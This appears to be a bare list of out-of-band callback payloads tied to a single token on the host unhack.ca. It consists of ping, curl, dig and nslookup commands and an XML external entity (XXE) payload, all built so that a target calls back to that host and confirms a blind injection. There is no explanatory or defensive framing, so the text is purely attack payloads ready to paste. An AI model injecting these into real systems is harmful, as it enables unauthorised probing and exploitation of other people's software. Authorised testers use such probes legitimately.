$ ping -c1 -p 009594a5f2c79f7c810b21932caa1900 unhack.ca
$ curl http://unhack.ca/p/9594a5f2c79f7c810b21932caa19
$ dig 9594a5f2c79f7c810b21932caa19 @unhack.ca
$ dig 9594a5f2c79f7c810b21932caa19.ns.unhack.ca
C:\> nslookup 9594a5f2c79f7c810b21932caa19 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/9594a5f2c79f7c810b21932caa19">]> <foo>&xxe;</foo>